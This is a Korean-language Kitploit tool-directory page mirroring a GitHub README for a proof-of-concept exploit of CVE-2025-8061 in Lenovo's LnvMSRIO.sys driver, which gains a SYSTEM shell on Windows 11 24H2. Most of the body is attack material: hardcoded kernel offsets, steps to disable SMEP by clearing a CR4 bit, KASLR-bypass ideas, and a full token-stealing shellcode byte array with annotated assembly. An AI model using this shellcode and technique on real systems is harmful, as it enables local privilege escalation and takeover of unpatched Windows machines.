Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Lenovo-CVE-2025-8061 — LnvMSRIO.sys 드라이버를 대상으로 시스템 셸을 획득하는 PoC | Kitploit
도구/GitHubGitHub/symeonp/lenovo-cve-2025-8061
Privilege EscalationVulnerability AnalysisExploitationShellcodePayload DevelopmentBinary Exploitation
GitHubsymeonp/lenovo-cve-2025-8061

Lenovo-CVE-2025-8061

LnvMSRIO.sys 드라이버를 대상으로 시스템 셸을 획득하는 PoC

저장소 보기
12515311개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

시스템 셸.

Lenovo-CVE-2025-8061

LnvMSRIO.sys (3.1.0.36) 드라이버를 대상으로 시스템 셸을 획득하기 위한 PoC입니다. 모든 공로는 원저작자 Quarkslab의 Luis Casvella에게 있습니다. 이것은 최신 Windows 11 Version 24H2(KVAShadowing 및 Core Isolation이 비활성화된 상태)에서 동작합니다!

[!NOTE] 최신 Visual Studio 22로 컴파일되었습니다.

익스플로잇에 유용한 참고 사항

[!CAUTION] 이 익스플로잇의 오프셋은 Windows 버전(에디션 빌드 랩: 26100.1.amd64fre.ge_release.240331-1435)에 하드코딩되어 있습니다. 따라서 이 값들은 제가 사용한 값과 다르므로 반드시 자신의 시스템에 맞게 수정/디버깅해야 합니다.

KiSystemCall64 오프셋은 당연히 원저작자의 것과 달랐습니다:

root@kitploit:~
#define FUNCTION_OFFSET__KISYSTEMCALL64     0x6b2b40  // nt!KiSystemCall64 offset
root@kitploit:~
0: kd> rdmsr c0000082
msr[c0000082] = fffff801`e76b2b40
0: kd> ? fffff801`e76b2b40 - nt
Evaluate expression: 7023424 = 00000000`006b2b40

SMEP 비활성화

제 시스템의 cr4 레지스터 값은 0x00350EF8이었습니다. 따라서 SMEP를 비활성화하려면 20번 비트를 *해제(clear)*해야 합니다:

root@kitploit:~
0x350ef8 = 0011 0101 0000 1110 1111 1000
Bit 20 (SMEP) = 1 (enabled)

올바른 값을 구하려면: 0x350ef8 & ~0x100000 = 0x250ef8

시스템의 CR4 확인 먼저 시스템에 설정되어야 하는 CR4 값이 무엇인지 확인하세요:

root@kitploit:~
? cr4 & 0x100000   ; Check if bit 20 is set

사용자 모드 셸코딩 섹션으로 돌아갈 때 이 값을 원래 값으로 복원해야 한다는 점이 매우 중요합니다!

ASLR 우회.

다른 머신을 사용한 경우:

root@kitploit:~
6: kd> r cr4
cr4=0000000000370678
6: kd> rdmsr C0000082
msr[c0000082] = fffff803`88d7a200
6: kd> u fffff803`88d7a200
nt!KiSystemCall64Shadow:
fffff803`88d7a200 0f01f8          swapgs
fffff803`88d7a203 654889242510b00000 mov   qword ptr gs:[0B010h],rsp
fffff803`88d7a20c 65488b242500b00000 mov   rsp,qword ptr gs:[0B000h]
--snip--
6: kd> ? fffff803`88d7a200 - nt
Evaluate expression: 12034560 = 00000000`00b7a200

보시다시피 이 값들은 모두 다릅니다. 기술적으로는 여기에 ASLR 우회가 없습니다(meh).. 연구해 볼 기법:

root@kitploit:~
1. Signature Scanning 
Once you have KiSystemCall64Shadow address from LSTAR, scan backwards or forwards for known byte patterns that are stable across versions. For example:

// KiSystemCall64Shadow always starts with: swapgs (0f 01 f8)
// Verify you have the right address
if (memcmp(leaked_address, "\x0f\x01\xf8", 3) != 0) {
    // Invalid - adjust offset
}

// Then scan for other gadgets relative to this known point
// For example, find "pop rcx; ret" pattern: 59 c3

2. Use Known Offsets Between Functions
Some offsets between kernel functions are more stable. Once you have KiSystemCall64Shadow:

// KiSystemCall64 is usually nearby (a few KB away)
// Scan the region for the standard KiSystemCall64 prologue
// Search for: 0f 01 f8 65 48 89 24 25 (swapgs + mov gs:[...], rsp)

토큰 탈취 셸코드.

역시 다른 버전을 사용 중이라 해당 셸코드를 약간 수정해야 했습니다:

root@kitploit:~
    unsigned char tokenSteal[] = {
        0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00,  // mov rax, gs:[0x188]
        0x48, 0x8B, 0x80, 0x20, 0x02, 0x00, 0x00,              // mov rax, [rax+0x220] <- Changed from 0xb8
        0x49, 0x89, 0xC0,                                       // mov r8, rax
        0x4D, 0x8B, 0x80, 0xD8, 0x01, 0x00, 0x00,              // mov r8, [r8+0x1d8]
        0x49, 0x81, 0xE8, 0xD8, 0x01, 0x00, 0x00,              // sub r8, 0x1d8
        0x4D, 0x8B, 0x88, 0xD0, 0x01, 0x00, 0x00,              // mov r9, [r8+0x1d0]
        0x49, 0x83, 0xF9, 0x04,                                 // cmp r9, 4
        0x75, 0xE5,                                             // jne (loop back)
        0x49, 0x8B, 0x88, 0x48, 0x02, 0x00, 0x00,              // mov rcx, [r8+0x248]
        0x80, 0xE1, 0xF0,                                       // and cl, 0xf0
        0x48, 0x89, 0x88, 0x48, 0x02, 0x00, 0x00               // mov [rax+0x248], rcx
    };

이 값들은 다음 구조체들을 확인하고 조정해야 합니다:

root@kitploit:~
0: kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : Ptr64 _KGDTENTRY64
   +0x008 TssBase          : Ptr64 _KTSS64
   +0x010 UserRsp          : Uint8B
   +0x018 Self             : Ptr64 _KPCR
   +0x020 CurrentPrcb      : Ptr64 _KPRCB
   +0x028 LockArray        : Ptr64 _KSPIN_LOCK_QUEUE
   +0x030 Used_Self        : Ptr64 Void
   +0x038 IdtBase          : Ptr64 _KIDTENTRY64
   +0x040 Unused           : [2] Uint8B
   +0x050 Irql             : UChar
   +0x051 SecondLevelCacheAssociativity : UChar
   +0x052 ObsoleteNumber   : UChar
   +0x053 Fill0            : UChar
   +0x054 Unused0          : [3] Uint4B
   +0x060 MajorVersion     : Uint2B
   +0x062 MinorVersion     : Uint2B
   +0x064 StallScaleFactor : Uint4B
   +0x068 Unused1          : [3] Ptr64 Void
   +0x080 KernelReserved   : [15] Uint4B
   +0x0bc SecondLevelCacheSize : Uint4B
   +0x0c0 HalReserved      : [16] Uint4B
   +0x100 Unused2          : Uint4B
   +0x108 KdVersionBlock   : Ptr64 Void
   +0x110 Unused3          : Ptr64 Void
   +0x118 PcrAlign1        : [24] Uint4B
   +0x180 Prcb             : _KPRCB
0: kd> dt nt!_EPROCESS ActiveProcessLinks
   +0x1d8 ActiveProcessLinks : _LIST_ENTRY
0: kd> dt nt!_EPROCESS UniqueProcessId 
   +0x1d0 UniqueProcessId : Ptr64 Void
0: kd> dt nt!_EPROCESS Token
   +0x248 Token : _EX_FAST_REF
0: kd> dt nt!_KTHREAD Process
   +0x220 Process : Ptr64 _KPROCESS
0: kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : Ptr64 _KGDTENTRY64
   +0x008 TssBase          : Ptr64 _KTSS64
   +0x010 UserRsp          : Uint8B
   +0x018 Self             : Ptr64 _KPCR
   +0x020 CurrentPrcb      : Ptr64 _KPRCB
   +0x028 LockArray        : Ptr64 _KSPIN_LOCK_QUEUE
   +0x030 Used_Self        : Ptr64 Void
   +0x038 IdtBase          : Ptr64 _KIDTENTRY64
   +0x040 Unused           : [2] Uint8B
   +0x050 Irql             : UChar
   +0x051 SecondLevelCacheAssociativity : UChar
   +0x052 ObsoleteNumber   : UChar
   +0x053 Fill0            : UChar
   +0x054 Unused0          : [3] Uint4B
   +0x060 MajorVersion     : Uint2B
   +0x062 MinorVersion     : Uint2B
   +0x064 StallScaleFactor : Uint4B
   +0x068 Unused1          : [3] Ptr64 Void
   +0x080 KernelReserved   : [15] Uint4B
   +0x0bc SecondLevelCacheSize : Uint4B
   +0x0c0 HalReserved      : [16] Uint4B
   +0x100 Unused2          : Uint4B
   +0x108 KdVersionBlock   : Ptr64 Void
   +0x110 Unused3          : Ptr64 Void
   +0x118 PcrAlign1        : [24] Uint4B
   +0x180 Prcb             : _KPRCB
0: kd> dt nt!_KPRCB CurrentThread
   +0x008 CurrentThread : Ptr64 _KTHREAD

swapgs 시스템 콜

swapgs를 실행하기 직전에 rcx가 main을 다시 가리켜 실행이 계속될 수 있도록 하는 것이 매우 중요합니다. 그렇게 하지 않으면 VM이 멈추게 됩니다!

swapgs 명령어 실행.

rdmsr c0000082 주소

이 값도 반드시 원래 값으로 복원하세요. 그렇지 않으면 VM이 다시 한번 멈출 것입니다 :)

TODO

  • MSR LSTAR 임의 읽기를 사용해 가젯을 얻는 더 일반적인 방법을 찾기!
  • 트위터의 코멘트에 따라, low stub 방식을 사용해 CR3 레지스터를 읽는 방법을 알아내기. 그러면 VA를 PA로 변환할 수 있습니다.
도구 다운로드